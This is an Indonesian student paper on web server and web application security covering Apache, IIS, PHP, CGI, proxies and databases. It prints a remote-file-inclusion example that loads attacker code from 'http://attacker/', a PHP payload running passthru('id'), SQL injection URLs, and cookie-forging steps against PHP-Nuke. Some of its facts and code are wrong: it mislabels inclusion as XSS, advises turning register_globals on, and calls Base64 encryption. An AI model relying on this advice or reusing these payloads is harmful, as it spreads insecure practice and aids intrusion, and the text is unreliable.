BAB 1
PENDAHULUAN
1.1 latar belakang
Dewasa ini, tidak ada sisi kehidupan manusia yang
tidak menggunakan komputer,. Akibatnya, timbul suatu kebutuhan security untuk
sistem komputer. Kita telah banyak mendengar kejadian pada dunia komputer,
khususnya jaringan Internet, yang menghadapi serangan virus, worm, Trojan, DoS,
Web deface, pembajakan software, sampai dengan masalah pencurian kartu kredit.
Oleh karena sistem keamanan komputer sangat krusial, suatu usaha pencegahan dan
pendeteksian penggunaan komputer secara tidak sah juga diperlukan. Dengan
membuat sistem keamanan computer maka kita akan melindungi data agar tidak
dapat dibaca oleh orang yang tidak berhak dan mencegah agar orang yang tidak
berhak tidak menyisipkan atau menghapus data. makalah ini akan menceritakan
konsep dasar dari suatu sistem keamanan komputer, khususnya yang berbasis pada
Internet. Materi yang dibahas meliputi dasar mengapa kita perlu peduli terhadap
keamanan, mengenal dunia underground, cracker dan hacker, membahasa cara
membangun firewall sebagai perlindungan dari kejahatan Internet, antisipasi dan
strategi keamanan, sistem keamanan yang berbasis pada Internet, strategi backup
hingga membuat policy. Makalah ini layak menjadi pedoman Anda yang bergelut di
dunia computer baik sebagai pemerhati, praktisi, mahasiswa, bahkan masyarakat
umum.
Setiap harinya server-server yang terkoneksi 24 jam
ke Internetselalu menghadapi ancaman dari para hacker atau Internet
freakslainnya dengan „niatan‰ kriminal tertentu atau juga untuk memberimasukan
akan adanya celah keamanan di berbagai serversekaligus beserta sistem
operasinya. Masalah keamanan merupakan salah satu aspek penting dari sebuah
sistem informasi,sayang sekali masalah keamanan ini seringkali kurang
mendapatperhatian dari para pemilik dan pengelola sistem informasi.Jatuhnya
informasi ke tangan pihak lain (misalnya pihak lawan bisnis) dapat menimbulkan
kerugian bagi pemilik informasi.Sebagai contoh, banyak informasi dalam sebuah
perusahaan yanghanya diperbolehkan untuk diketahui oleh orang-orang tertentu
didalam perusahaan tersebut, seperti misalnya informasi tentangproduk yang
sedang dalam pengembangan serta algoritmaalgoritmadan teknik-teknik yang
digunakan untuk menghasilkan produk tersebut. Untuk itu keamanan dari sistem
informasi yangdigunakan harus terjamin dalam batas yang dapat diterima.
Jaringan komputer seperti LAN dan Internet
memungkinkantersedianya informasi secara cepat. Ini salah satu alasanperusahaan
atau organisasi mulai berbondong-bondong membuat LAN untuk sistem informasinya
dan menghubungkan LAN tersebutke Internet. Terhubungnya LAN atau komputer ke
Internetmembuka potensi adanya lubang keamanan (security hole) yang
tadinya
bisa ditutupi dengan mekanisme keamanan secara fisik.Berkembangnya WWW dan
Internet menyebabkan pergerakansistem informasi untuk menggunakannya sebagai
basis. Banyaksistem yang tidak terhubung ke Internet tetapi tetap menggunakan web
sebagai basis sistem informasinya yang dipasang di jaringan Intranet. Untuk
itu, keamanan sistem informasi yang berbasis web dan teknologi Internet bergantung
kepada keamanan sistem web tersebut. Arsitektur sistem web terdiri dari dua
sisi: server dan client. Keduanya dihubungkan dengan jaringan komputer (computer
network). Selain menyajikan data-data dalam bentuk statis, system web dapat
menyajikan data dalam bentuk dinamis dengan menjalankan program. Program ini
dapat dijalankan di server (misal dengan CGI atau servlet) dan di client
(applet, atau Javascript). Sistem server dan client memiliki permasalahan yang erbeda.
Keduanya akan dibahas secara terpisah.
BAB II
LANDASAN TEORI
1.1
KEAMANAN SERVER WWW
Keamanan server WWW biasanya merupakan masalah dari seorang
administrator. Dengan memasang server WWW di system Anda, Anda membuka akses
(meskipun secara terbatas) pada orang luar. Apabila server Anda terhubung ke
Internet dan memang server WWW Anda disiapkan untuk publik, Anda harus lebih
berhati-hati sebab Anda membuka pintu akses ke seluruh dunia. Server WWW
menyediakan fasilitas agar client dari tempat lain dapat mengambil informasi
dalam bentuk berkas (file) atau mengeksekusi perintah (menjalankan program) di
server. Fasilitas pengambilan berkas dilakukan dengan perintah GET, sementara
mekanisme untuk mengeksekusi perintah di server dapat dilakukan dengan CGI
(Common Gateway Interface), Server-side Include (SSI), Active Server Page
(ASP), PHP, atau dengan menggunakan servlet (seperti penggunaan Java Servlet). Kedua
jenis servis di atas (mengambil berkas biasa maupun menjalankan program di
server) memiliki potensi lubang keamanan yang berbeda. Adanya lubang keamanan
di system WWW dapat dieksploitasi dalam bentuk yang beragam, antara lain:
a. Informasi yang ditampilkan di server diubah
sehingga dapat mempermalukan perusahaan atau organisasi Anda (dikenal dengan
istilah deface).
b. Informasi
yang semestinya dikonsumsi untuk kalangan terbatas (misalnya laporan keuangan,
strategi perusahaan Anda, atau database client Anda) ternyata berhasil disadap
oleh saingan Anda (ini mungkin disebabkan salah setup server, salah setup
router/firewall, atau salah setup autentikasi).
c. Informasi dapat disadap (seperti misalnya
pengiriman nomor kartu kredit untuk membeli melalui WWW atau orang yang
memonitor kemana saja Anda melakukan web surfing).
d. Server
Anda diserang (misalnya dengan memberikan request secara bertubi-tubi) sehingga
tidak bisa memberikan layanan ketika dibutuhkan (Denial of Service Attack).
e. Untuk server web yang berada di belakang
firewall, lubang keamanan di server web yang dieksploitasi dapat melemahkan
atau bahkan menghilangkan fungsi firewall (dengan mekanisme tunneling).
2.2
WEB
SERVER DAN DATA BASE SERVER
Web Server dan database server
bagaikan jantung dan otak dari organisme Internet. Dua komponen ini menjadi
komponen pokok dari sebuah aplikasi Internet yang tangguh dan tepatlah keduanya
menjadi target hacker. Dalam beberapa kasus kita harus dapat menentukan
titik-titik lemah dalam aplikasi tersebut yang bias menjadi sasaran penyerang.
Ada beberapa server yang sering digunakan dalam dunia web Internet, yaitu
Apache dari Apache Software Foundations dan IIS dari Microsoft. Web server
berfungsi untuk mendengarkan setiap request pada jaringan dan menjawabnya
kepada si pengirim permintaan dengan membawa data tertentu.
2.3 Apache
Apache telah menjadi web server terpopuler saat ini.
Server Apache telah bekerja pada semua platform seperti NetBSD, UNIX, AIX,
OS/2, Windows, HPUX, Novell Netware, Macintosh, BeOS,FreeBSD, IRIX, dan
Solaris. Ada banyak versi Apache sampai saat ini, setiap versi berisi
fitur-fitur seperti:
1.
Host Virtual. Memungkinkan sebuah
komputer untuk berhubungan dengan sejumlah besar web server pada saat yang
bersamaan sehingga satu buah komputer yang menjalankan satu web server dapat
melayani banyak halaman dari beragam situs web.
2.
Server-side Includes. Perintah-perintah yang ada dalam halaman Web HTML yang
menyediakan fungsi server-side. SSI serupa dengan CGI yang secara khusus
digunakan untuk membuat sebuah halaman web yang dinamis. Situs web sering mengaktifkan
fitur ini untuk mengerjakan file berekstensi.shtml dan mengendalikan SSH.
3.
Halaman Web Dinamis dari CGI. Suatu mekanisme orisinil yang dikembangkan untuk
mengirimkan isi data yang dinamiske web.
4.
Handler, Pengendali untuk mengendalikan beragam request pada web berdasarkan
nama file. File-file tertentu seperti .asp dan seterusnya. Handler bersifat
built-in dan megendalikan isi data statis seperti HTML.
5.
Variabel Lingkungan.
6.
Pemetaan URL ke sistem file.
2.4 Internet Information Service
(IIS)
Produk dari Microsoft dalam jajaran web servernya,
namun saat ini IIS tergeser dominasinya dengan Apache yang lebih berdaya guna. Sudah
menjadi rahasia umum bahwa sistem keamanan di sisi IIS sangat rentan, ini bisa
dilihat dari sisi aplikasi-aplikasi Internet Server Applications Programming
Interface (ISAPI). ISAPI membuka kesempatan pengembang untuk memperluas keguanaan
server IIS dengan membuat program mereka sendiri untuk mengolah dan
mengendalikan data dan request yang dikirim. Hal ini berarti meningkatkan
kontrol atas request.
Secara default IIS menginstal ISAPI yang digunakan
untukVmendobrak IIS. Dengan menambah fitur yang dimiliki ISAPI berarti menambah
kekhawatiran rentannya keamanan seperti filter .ldq dan .ida yang ternyata
bertanggung jawab atas masuknya worm Nimda dan CodeRed. Worm tersebut
menyebabkan kondisi buffer overflow pada ekstensi *.ida. Worm ini mengekplotasi
kelemahan server indeks .ida sehingga membuka kesempatan bagi penyerang untuk
mengirimkan request ke web server dan menyebabkan overflow DLL yang mengendalikan
request. Penyelesaian masalah filter ini adalah tetap mengikuti semua security
patch dari Microsoft dan menerapkan yang cocok.
2.5 Bahasa Pemrograman Internet
Ada banyak bahasa web yang populer di dunia Internet
seperti HTML, DHTML, XML, XHTML, Perl, PHP, ASP, Cold Fusion, dan lain-lain.
HTML merupakan framework Internet, hampir semua situs web yang ada menggunakan
HTML untuk menampilkan teks, grafik, suara, dan animasinya. Dengan
kemudahannya, HTML banyak digunakan. Hal ini memungkinkan seorang intruders
untuk mencari vurnerability dari sisi bahasa ini. Ada banyak actions dalam HTML
seperti <form>, <form actions>, <form method>, <input>,
<apllet>, dan lain-lain. Turunan dari HTML adalah eXtensible Markup
Language (XML) yang lebih bersifat terbatas dibandingkan dengan elemen-elemen HTML
yang telah distandarisasi dan ditentukan. Pusat perhatian perluasan elemen ini
adalah Document Type Definitions (DTD). Perl atau Practical Extraction and
Report Language merupakan bahasa pemrograman tingkat tinggi. Perl sangat
tangguh dan fleksibel karena ia dapat digunakan untuk menulis program yang bersifat
server-side, menjalankan fungsi-fungsi lokal pada suatu sistem, atau digunakan
untuk aplikasi standalone. PHP atau Personal Home Page awalnya digunakan untuk
mencatat pengunjung yang membuka halaman tertentu. PHP merupakan bahasa
server-side yang paling banyak digunakan untuk membuat aplikasi standalone yang
tidak terkait dengan web.
Kelemahan PHP dan Perl sama, yaitu bila script
memproses input dari browser web untuk query database seperti sistem, passthry
shellxec, exec, atau server-side includes (SSI), penyerang dapat melakukan
sanitasi variable input untuk mengesekusi yang tidak diinginkan.Cold Fusion
adalah sistem yang dikembangkan oleh Allaire yangmemiliki tiga komponen utama:
Application Server, MarkupLanguage, dan Studio. CFM serupa dengan HTML yang mempunyai
tag yang sangat luas seperti koneksi ke database dan dukungan Post.
Kelemahannya, penyerang yang jago dalam pemrograman tidak akan mengalami
kesulitan untuk mengetahui isi database dengan perintah query. ASP (Active Server
Page) dibuat oleh Microsoft untuk lingkungan scripting server-side dan
diciptakan khusus untuk server-side Internet Information Sistems (IIS). ASP
mengkombinasikan HTML, code scripting, VBScript, dan komponen ActiveX
server-side untuk menciptakan isi yang dinamis. Di balik semua itu sudah
menjadi rahasia umum bahwa Windows dengen server IIS banyak mempunyai lubang
kelemahan yang dapat dimanfaatkan oleh penyusup. ASP hadir dengan dua dasar,
yaitu server-side dan client-side. Form server-side hadir dalam bentuk
kode-kode ASP dengan tag dan form client-siden-ya dalam bentuk HTML.
Contoh
pemrograman dengan ASP dengan cara server-side dan
client-side:
<html>
<head>
<title> ASP Pertamaku</title>
</head>
<body>
<%
Dim halos
halos = "Hallo dieksekusi dari server"
Response.Write(halos)
%>
<hr>
<script language=VBScript>
Dim haloc
haloc = "Hallo dieksekusi dari client"
Document.Write(haloc)
</script>
</body>
</html>
Saat dieksekusi, di browser akan tampak script dari
ASP denganmenampilkannya lewat Notepad. Dua solusi dasar bagi keamanan ASP:
buanglah sampel-sampel file dari direktori yang terinstal secara default dan
sanitasikan atau bersihkan field inputnya.
2.6 Keamanan pada Aplikasi
Web dengan PHP Vulnerability atau kelemahan keamanan
pada PHP bias dikarenakan kesalahan pada program script PHP yang kita buat atau
pada konfigurasinya. Program PHP itu sendiri kita jalankan sebagai modul atau
CGI (vulnerability bawaan) dan program web server yang akan berinteraksi dengan
program PHP.
1.
Kode PHP yang tidak diparsingKita sering kali meng-include file kode PHP untuk
kemudahan scripting, misalnya memisahkan kode PHP yang berisi fungsi, class,
atau konfigurasi dengan kode PHP untuk implementasinya. Kode PHP yang
dipisahkan tersebut kemudian dipanggil dengan fungsi include(), include_once(),
require(), atau require_once(). Jika include file adalah kode PHP yang akan
dieksekusi, pastikanlah file tersebut diparsing sebagai file PHP, misalnya
config.inc.php, atau jika ingin menggunakan ektensi .inc maka pastikan konfigurasi
web server membuat file tersebut di-parsing sebagai file PHP. Tambahkan script
agar ketika file diakses secara langsung oleh user maka hanya akan didapatkan
baris kosong atau akan langsung di-redirect ke halaman lain.
if ( $_SERVER['PHP_SELF'] ) {
header("Location: ../index.html');
}
Anda
juga dapat melakukan setup pada web server agar tidak dapat me-request file
berekstensi .inc, misalnya pada Apache kita dapat menambahakan konfigurasi
seperti ini:
<Files ~ "\.inc$">
Order allow, deny
Deny from all
</Files>
Hal tersebut di atas dilakukan untuk menghindari
attacker mendapatkan source code file karena file dikirim tanpa diparsing. Jika
attacker bisa mendapatkan file source code maka akan membuat mudah bagi mereka
untuk mencari lubang kemanan di aplikasi.
2.
Variabel auto global
Banyak aplikasi PHP yang memiliki lubang keamanan
yang berasal dari kemampuan varibel autoglobal. Oleh karenanya mulai versi
4.3.1 PHP sudah membuat default autoglobal pada php.ini bernilai off. Tentu
saja sebenarnya kelemahan keamanan bukan berawal dari varibel autoglobal, tapi
dari kelalaian programmer. Sebenarnya dengan adanya fasilitas autoglobal pada
varibel, programmer diberikan kemudahan, tapi memudahkan pula terjadinya lubang
keamanan. Dengan fasilitas ini suatu varibel misalnya $x tidak perlu
dideklarasikan dahulu dan bias merupakan varibel session, varibel cookie, dan
varibel dari GET/POST. Lubang kemanan tersebut bisa mengakibatkan:
.. Denial of Service
.. Authentication failure
.. Account hijacking
.. Perusakan tampilan/layout
.. Implementasi virus web browser
.. dan lain-lain
Kebanyakan lubang keamanan pada aplikasi PHP adalah akibat
varibel autoglobal ini adalah aplikasi yang open source sehingga user dapat
mengetahui kode aplikasi dan mengetahui nama-nama varibel yang digunakan.
Dengan sedikit trik security through obscurity sebenarnya kita agak terlindungi
dari akibat fasilitas varibel autoglobal ini. Bersiap-siaplah untuk belajar
pemrograman dengan security in mind.
3.
Fungsi include(), require() atau fopen()
Akibat mekanisme autoglobal, suatu varibel dalam PHP
menjadi tidak jelas jenisnya. Jenis variabel jadi tidak bias dibedakan atara
variabel dari GET/POST, varibel dari ENVIRONTMENT, atau varibel dari
COOKIES/SESSION. Akibatnya, suatu variabel apa saja yang kita definisikan dapat
dengan mudah kita isi dengan nilai dari varibel GET atau POST. Kelemahan
biasanya muncul ketika varibel untuk parameter fungsi include(), require() atau
fopen()digunakan. Kita tahu bahwa dengan fungsi tersebut kita dapat melakukan eksekusi/parsing
file PHP dari file lain, baik pada file dari disk lokal atau file dari situs
lain. Jika varibel untuk parameter fungsi tersebut diketahui, attacker dapat
mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode
GET atau POST. Contoh di bawah ini adalah vulnerability akibat menggunakan varibel
pada fungsi include(). Perhatikan kode dibawah ini:
include($phpgw_info["server"]["include_root"]."/phpgwapi/phpg
w_info.inc.php");
Kode tersebut tidak aman karena walaupun menggunakan
varibel array, variabel $phpgw_info masih dapat diganti dengan varibel GET/POST
dari client atau diganti dengan sebuah URL lain, misalnya http://attacker/phpgwapi/phpgw_info.inc.php
di mana file phpgw_info.inc.php dapat berisi kode PHP yang bias dieksekusi oleh
server korban/victim, misalnya berupa kode:
<?php
$phpcode = 'echo("Hi
there!<BR>");passthru("id");';
if
(substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) ==
"PHP")
echo("<?php $phpcode ?>");
else
eval($phpcode);
exit();
?>
Kejadian seperti di atas, di mana suatu kode PHP
dari situs lain diambil agar dieksekusi di server korban sering disebut Cross
Site Scripting (XSS).
Ada beberapa pencegahan dari kelemahan ini seperti
jangan meng-include atau sejenisnya dengan parameter sebuah varibel, misalnya
include($file) atau include($dir."file.php"). Jika hal ini terpaksa
dilakukan, gunakan filter dengan regular expression untuk mengecek varibel
tersebut. Contoh:
$file =
eregi_replace("/^http:\/\/.+/","",$file);
$file = eregi_replace("/^(\.\./)/","",$file);
include($file);
Atau, gunakan pengkondisian seperti ini:
if ( $file == "about" ) {
$filex = "ab/index.php";
} elseif ( $file == "member" ) {
$filex = "member/index.php";
} else {
$file = "index.php";
}
include($file);
4.
Kondisi varibel yang tidak jelas Proses autentikasi ataupun autorisasi
seringkali dilakukan dengan mengecek kondisi yang membandingkan varibel GET/POST
yang diberikan user atau varibel dari session/cookie dengan suatu nilai. Misalkan
suatu halaman melakukan otentifikasi dengan kode seperti di bawah ini:
<?php
session destroy()
session_start();
$session_auth = "admin";
session_register("session_auth");
?>
dan kemudian sebuah halaman menggunakan autorisasi dengan
cara mengecek varibel session_auth seperti ini:
<?php
if (!empty($session_auth)) {
// Kode jika autorisasi berhasil disini
}
?>
Kode pengecekan tersebut tidaklah aman, sebab dengan
mudah attacker dapat mengakses halaman tersebut dengan URL seperti
http://victimhost/page.php?session_auth=1 yang dapat membuat kondisi pada if di
atas menjadi TRUE. Kesalahan pemrograman seperti ini juga terjadi pada jenis varibel
dari GET/POST varibel cookie. Sebagai solusinya, aturlah konfigurasi
auto_global menjadi off pada file php.ini dan mulailah memprogram dengan pendefinisian
varibel yang jelas, misalnya $_GET, $_POST, $_COOKIE atau $_SESSION.
if ( $_POST['username'] == $user &&
$_POST['password'] ==
$pass ) {
/* ... */
}
Jika tidak punya akses ke php.ini, gunakan fungsi
ini_set():
ini_set("register_globals", 1);
5.
SQL Injection
Akibat lain dari varibel autoglobal adalah
eksploitasi dengan SQL Injection. SQL injection berarti memanipulasi suatu
query atau memasukan suatu query dengan menggunakan query lain. Cara ini dapat
dilakukan karena pada program yang dibuat terdapat query yang menggunakan
varibel. Di bawah ini adalah contoh request yang mencoba melakukan SQL
Injection pada query yang memiliki varibel $search.
http://localhost/search.php?search=a%27%20order%20by%20time%20desc%3b%20[query]
Varibel $search di atas bernilai "a‰ order by
time desc; [query]". [query] dapat berisi SQL query baru yang lengkap yang
membahayakan, misalnya query untuk menghapus database/tabel. Di bawah ini
adalah contoh bagaimana terjadinya account thijacking dengan cara. SQL
Injection terjadi pada aplikasi portal PHP-Nuke dan Post-Nuke. Query pada kode
di bawah ini tidak aman karena ada variabel yang nilainya diambil dari cookie.
Oleh karena cookie disimpan di client, user dapat dengan mudah mengganti cookie-nya.
/* kode pada modules/News/article.php */
if ($save AND is_user($user)) {cookiedecode($user);
sql_query("update
".$user_prefix."_users set umode='$mode',"
"uorder='$order', thold='$thold' where
uid='$cookie[0]'",
$dbi);
getusrinfo($user);
$info =base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:".
"$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:".
"$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
Kesalahan pada kode di atas adalah pada bagian
eksekusi query where uid=„$cookie[0]‰ yang mengambil varibel untuk uid dari
cookie. Untuk mengeksploitasi vulnerabity ini maka kita perlu membuat account
(valid user) untuk melewati if($save AND is_user($user)), kemudian mengubah
cookie dengan pada bagian username, men-base64-encode cookie, kemudian melakukan
request dengan save=1 pada article.php lewat modules.php. Contoh lain adalah
DoS dengan menggunakan metode SQL Injection pada situs PHPNuke dengan
requestsepertiini:
http://www.XXXX.com/modules.php?name=News&file=article&sid=1234%20or%2011
6.
Session Spoofing
Mekanisme session pada PHP tidak dilakukan dengan
cara yang cukup aman. Ketika suatu session dibentuk, misalnya saat user login,
maka sebuah file untuk menyimpan data variabel session dibuat dan akan tetap
ada sebelum session didestroy. Session file tersebut dibuat pada direktori yang
didefinisikan pada php.ini sebagai session.save_path. Pada UNIX biasanya
direktorinya adalah /temp/, sedangkan padaWindows adalah sessiondata pada
direktori di mana PHPdiinstal. Kita juga dapat mengonfigurasi PHP agar
menyimpan sessionnya pada database dengan session_set_save_handler. Tentu saja
solusi ini tidak terlalu baik, tetapi paling tidak sudah memberi pekerjaan
lebih buat attacker. Sebagai tambahan, jika kita ingin menyimpan data yang
krusian di session misalnya password, kita dapat melakukan enkripsi varibel sebelum
varibel tersebut disimpan pada session, misalnya: minimal dengan Base64
encoding. Session spoofing juga dapat terjadi akibat tidak amannya cara
penampilan suatu halaman PHP.
2.7 Keamanan Program CGI
Common Gateway Interface (CGI) digunakan
untukmenghubungkan sistem WWW dengan software lain di server web. Adanya CGI
memungkinkan hubungan interaktif antara user dan server web. CGI seringkali digunakan
sebagai mekanisme untuk mendapatkan informasi dari user melalui fill out form,
mengakses database, atau menghasilkan halaman yang dinamis.
Meskipun secara prinsip mekanisme CGI tidak memiliki
lubang keamanan, program atau skrip yang dibuat sebagai CGI dapat memiliki
lubang keamanan (baik secara sengaja dibuat lubang keamanannya ataupun tidak
sengaja). Pasalnya, program CGI ini dijalankan di server web sehingga
menggunakan resources web server tersebut.
2.8 Serangan Lewat URL
URL merupakan sebuah mekanisme untuk mengenali
sumbersumber pada web, SSL, atau server FTP, termasuk protokol layer aplikasi
yang membuat request ke server Web seperti contoh URL http://www.coba.com/images/hardware/pda.html.
URL tersebut dapat dijelaskan per bagian. File pda.html sedang di-request oleh protokol
HTTP dari sebuah server bernama www.coba.com. Lokasi pda.html dalam ruang situs
tersebut adalah pada direktori
/images/hardware.
Contoh lainnya seperti: https://www.coba.com/order/buy.asp?item=A003&pmt=visa
Kemungkinan besar URL di atas dapat dimanfaatkan hacker. Dugaan pertama bisa
ditarik dari nama sumbernya, buy.asp.Ekstensi .asp menandakan bahwa file ini
adalah ASP. File-file ASP berjalan secara khusus pada web server Microsoft,
yaitu IIS. Dengan demikian kemungkinan besar www.coba.com berjalan pada Windows
NT/2000/XP. Biasanya sistem seperti ini menggunakan Backoffice database
2.9 Kesalahan pada Mesin Proxy
Penyerang bisa saja memanfaatkan kelamahan pada
mesin proxy. Oleh karena penyerang tidak dapat menembus pertahanan server utama
maka penyerang mengatur cara untuk mendapatkan akses ke proxy server yang juga
meng-host salinan dari halaman erb yang asli, memeodifikasi halaman web pada
staging area (wilayah tempat penyusunan dan persiapan) menyebabkan suatu situs
bias dirusak dan diganti-ganti isinya melalui replikasi otomatis. Titik entri
yang pertama dan terlemah untuk memasuki jaringan adalah melalui port proxy
HTTP. Port ini biasanya digunakan untuk melewatkan request proxy HTTP pada
proxy server ke dalam jaringan walaupun situs web yang di-host pada server
diproteksi oleh suatu mekanisme autentikasi password HTTP, namun penyerang
dapat mencoba-coba dengan cara bruce force attack untuk mendapatkan user name
dan password. Maka dari itu, administrator harus mematikan percobaan memasukkan
password yang salah, misalkan sebanyak tiga kali secara terus-menerus. Ada
banyak tool untuk men-crack password secara remote diantaranya adalah brutus,
WebCracker, dan lain-lain.
2.9.1 Akses Database
Database telah lama menjadi bagian integrasi dalam
menjalankan bisnis. Keperluan atas penyimpanan dan pengakesan informasi secara
cepat menjadi hal yang mendesak bagi tiap bisnis saat ini. Aplikasi-aplikasi
web saat ini berpasangan erat dengan database yang digunakan untuk beragam
kegunaan, mulai dari menyimpan nama-nama user dan password untuk akses resmi,
sampai untuk menyimpan alamat-alamat surat user dan informasi kartu kredit untuk
mempermudah pembayaran. Maka dari itu pemahamam keamanan bukan hanya meliputi
jaringannya saja, tapi juga akses databasenya dan yang terpenting memahami
bagaimana penyerang memasuki aplikasi untuk memperoleh akses ke bagianbagian datanya.
Microsoft SQL Server dan Oracle dapat diakses secara default pada jaringan
internal, dengan kata lain jika konfigurasi firewall tidak dikonfigurasi dengan
baik maka akan membuka kesempatan penyerang untuk masuk ke koneksi database. Terbukanya
TCP dan UDP 1434 (Microsoft SQLServer) atau TCP 1521 (Oracle) dapat menjadi
jalan untuk memata-matai databasekita. Sebagai tool-nya, dapat digunakan Fscan
dan Foundstone,SQLPing2. Tool-tool ini memungkinkan penyerang untukmengetahui
alamat IP mesin SQL.
Jika si penyerang mempunyai kemampuan menerobos
databasemaka tidaklah susah bagi penyerang tersebut untuk masuk ke server SQL
dan melakukan perubahan, penghapusan, dan lainlain. Keamanan database
merupankan satu dari sekian banyak metodologi yang sering diabaikan dan tidak
dikembangkan. Untuk melengkapi dan memperketat kebijaksanaan atas keamanan database.
2.9.2 Keamanan Client WWW
Pada bagian terdahulu dibahas masalah yang
berhubungan dengan server WWW. Dalam bagian ini akan dibahas masalah-masalah yang
berhubungan dengan keamanan client WWW, yaitu pemakai (pengunjung) biasa.
Keamanan di sisi client biasanya berhubungan dengan masalah privasi dan
penyisipan virus atau Trojan. Pelanggaran Privasi. Ketika kita mengunjungi
sebuah situs web, browser kita dapat „dititipi‰sebuah cookie yang fungsinya
adalah untuk menandai kita. Ketika kita berkunjung ke server itu kembali, server
dapat mengetahui bahwa kita kembali dan server dapat memberikan layanan sesuai
dengan keinginan (preference) kita. Ini merupakan servis yang baik, namun
data-data yang sama juga dapat digunakan untuk melakukan tracking kemana saja
kita pergi. Ada juga situs web yang mengirimkan script (missal Javascript) yang
melakukan interogasi terhadap server kita (melalui browser) dan mengirimkan
informasi ini ke server.
2.2.3 Web Server Security
World Wide Web merupakan sistem pertukaran informasi
melalui Internet. Web dibangun melalui sebuah program yang dinamakan web
server. Saat ini WWW telah merambah ke seluruh sendi kehidupan, termasuk
bisnis, pemerintahan, pendidikan, keagamaan, sosial, dan budaya. Agar informasi
yang kita buat dalam sebuah halaman web dapat dilihat pengguna Internet maka
dibutuhkan suatu mesin web server yang akan melayani permintaan dari user yang
mengaksesnya. Seperti yang telah digambarkan di awal bab ini, ada beberapa web server
yang digunakan seperti Apache dan IIS. Saat ini Apache merupakan pilihan yang
paling banyak digunakan untuk server yang berbasis UNIX/LINUX walaupun Apache
juga dapat dijalankan di Windows. Dengan dukungan open source maka penyebaran
Apache semakin cepat dari tahun ke tahun.
Server-server web dirancang untuk menerima beragam
request dari host bebas di Internet dan menjadi pintu gerbang publik atau personal.
Untuk membangun sebuah secure server dalam berbagai platform harus diperhatikan
beberapa hal penting, misalnya user tidak pernah mengeksekusi sembarang program
atau perintah shell dalam server dan script CGI yang berjalan dalam server.
Ada beberapa hal penting dalam menjaga dan membangun
web server yang aman, di antaranya adalah:
.. Mengerti tentang pembagian akses UID (User ID)
.. Mengerti struktur direktori server
.. Membuat script dan program CGI secara aman
.. Mengembangkan strategi password
.. Mencatat semua aktivitas yang terjadi
.. Waspadai kegiatan browser user
.. Perhatikan HTTP dan Anonymous FTP
.. Nonaktifkan service-service (daemon) yang tidak
penting
.. Perhatikan port-port yang terbuka
2.9.4 Tindakan-Tindakan Antisipasi
Setelah membicarakan secara garis besar kemungkinan
yang dilakukan hacker untuk menyusup ke server kita, pengidentifikasian
teknologi memainkan peran penting dalam dunia hacking web karena hacker bisa
memilih senjata yang cocok untuk menyerang.
BAB
III
PENUTUP
3.1
Kesimpulan
Masalah keamanan merupakan
salah satu aspek penting dari sebuah sistem informasi,sayang sekali masalah
keamanan ini seringkali kurang mendapatperhatian dari para pemilik dan
pengelola sistem informasi.Jatuhnya informasi ke tangan pihak lain (misalnya
pihak lawan bisnis) dapat menimbulkan kerugian bagi pemilik informasi. Keamanan
server WWW biasanya merupakan masalah dari seorang administrator. Dengan
memasang server WWW di system Anda, Anda membuka akses (meskipun secara
terbatas) pada orang luar. Apabila server Anda terhubung ke Internet dan memang
server WWW Anda disiapkan untuk publik, Web Server dan database server bagaikan
jantung dan otak dari organisme Internet. Dua komponen ini menjadi komponen
pokok dari sebuah aplikasi Internet yang tangguh dan tepatlah keduanya menjadi
target hacker. Ada banyak bahasa web yang populer di dunia Internet seperti HTML,
DHTML, XML, XHTML, Perl, PHP, ASP, Cold Fusion, dan lain-lain.
Common Gateway Interface (CGI) digunakan
untukmenghubungkan sistem WWW dengan software lain di server web. Adanya CGI memungkinkan
hubungan interaktif antara user dan server web. CGI seringkali digunakan
sebagai mekanisme untuk mendapatkan informasi dari user melalui fill out form,
mengakses database, atau menghasilkan halaman yang dinamis. Penyerang bisa saja
memanfaatkan kelamahan pada mesin proxy. Oleh karena penyerang tidak dapat
menembus pertahanan server utama maka penyerang mengatur cara untuk mendapatkan
akses ke proxy server yang juga meng-host salinan dari halaman erb yang asli.
Database telah lama menjadi bagian integrasi
dalam menjalankan bisnis. Keperluan atas penyimpanan dan pengakesan informasi secara
cepat menjadi hal yang mendesak bagi tiap bisnis saat ini. World Wide Web
merupakan sistem pertukaran informasi melalui Internet. Web dibangun melalui
sebuah program yang dinamakan web server. Saat ini WWW telah merambah ke
seluruh sendi kehidupan, termasuk bisnis, pemerintahan, pendidikan, keagamaan,
sosial, dan budaya.